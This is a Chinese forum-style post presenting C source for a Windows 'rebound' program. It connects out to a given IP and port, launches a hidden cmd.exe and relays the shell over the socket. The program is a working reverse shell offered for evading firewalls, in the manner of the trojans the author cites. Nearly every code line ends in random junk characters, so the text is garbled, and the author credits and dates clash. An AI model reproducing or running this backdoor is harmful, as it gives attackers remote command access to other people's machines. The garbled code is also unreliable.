这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 !#)t<9]fv
6]?%1HSi
/* ============================== k\ #;
Rebound port in Windows NT RJWO h
By wind,2006/7 w1)TnGT
===============================*/ 2L](4Q[M
#include (lM,'
#include X
61|:E
;98&5X\u<
#pragma comment(lib,"wsock32.lib") [nO3%7t@
$K^l=X
void OutputShell(); L?[m$l!T}
SOCKET sClient; o%?)};o
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; @-)?uYw:r
^y/Es2A#t
void main(int argc,char **argv) {1Ra|,;
{ (+|+ELfqW
WSADATA stWsaData; ?@G s7'
int nRet; ,>-D xS
SOCKADDR_IN stSaiClient,stSaiServer; 8${n}}
;-Yvi,sS+
if(argc != 3) X,v.1#[
{ U.<j2Kum
printf("Useage:\n\rRebound DestIP DestPort\n"); S/`#6
return; bZYayjxZ5i
} ZG^<<V$h
]
]U )wg
WSAStartup(MAKEWORD(2,2),&stWsaData); .#QE*<T)]
@A1f#Ed<
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); $t;:"i>
Hx gC*-A$/
stSaiClient.sin_family = AF_INET; s6|'s<x"j
stSaiClient.sin_port = htons(0); ?wB_fDb}
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ~b~Tq
j9h/`Bn
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) Uqel
UL}
{ wb.yGfJ
printf("Bind Socket Failed!\n"); _aFe9+y
return; RK!9(^Ja
} 0V~zZ/e
h =A
stSaiServer.sin_family = AF_INET; ?y-^Fq|h
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); TGF$zvd
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); [K3
te
4^W!,@W
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) Ku,wI86
{ z{W Cw
printf("Connect Error!"); u4Nh_x8\Nr
return; F=Bdgg9s
} @Y/&qpo$#W
OutputShell(); U T\4Xk<
} /yG7!k]Eg
OeqKKVuQ
void OutputShell() inGUN??
{ ?sk>Mzr
char szBuff[1024]; f`hZb
SECURITY_ATTRIBUTES stSecurityAttributes; "A}sD7xy9
OSVERSIONINFO stOsversionInfo; 6'^E
],:b
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; TTVmm{6
STARTUPINFO stStartupInfo; L(;$(k-/(
char *szShell; a dqS.xs
PROCESS_INFORMATION stProcessInformation; EQ$k^Y8 "
unsigned long lBytesRead; UDG1F_&h
c* ueI5i
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); * 1;4&/93o
+F)-n2Bi
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ./F:]/Mt
stSecurityAttributes.lpSecurityDescriptor = 0; /2?
CB\
stSecurityAttributes.bInheritHandle = TRUE; [on_=N{W[
Ar!0GwE+
t%Jk3W/f
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); kGV:=h
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); N#ggT9>X
i3w~&y-
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); gQPw+0w
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; QJ XP-
stStartupInfo.wShowWindow = SW_HIDE; <<0sv9qw1
stStartupInfo.hStdInput = hReadPipe; %aNm j)L
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; <Z%=lwtX
,\6Vb*G|E>
GetVersionEx(&stOsversionInfo); 712nD ?>
G`FYEmD
switch(stOsversionInfo.dwPlatformId) (mIjG)4t
{ p]mN)
case 1: j0e,>X8
szShell = "command.com"; tB4mhX|\
break; lOt7ij(,L
default: =Dq&lm,n
szShell = "cmd.exe"; _qa]T'8
break; lKsn6c,]
} )$!b`u
5_;-Qw
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); kO\ O$J^S
WutPy_L<
send(sClient,szMsg,77,0); 6nL^"3@S!
while(1) 9rMO=
{ 01'>[h#_n
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); MDlH[PJ@i
if(lBytesRead) M.Yp'Av
{ u#Ig!7iUu
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); zr|DC] 3
send(sClient,szBuff,lBytesRead,0); I>;{BYPV
} yJI~{VmU7
else JdS,s5Z>
{ R;!,(l
lBytesRead=recv(sClient,szBuff,1024,0); D./{f8
if(lBytesRead<=0) break; GeP={lj
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); O^cC+@l!4
} Or? )Nlg6x
} 7FE36Ub9
;dzL9P9IU
return; "J"=<_?
}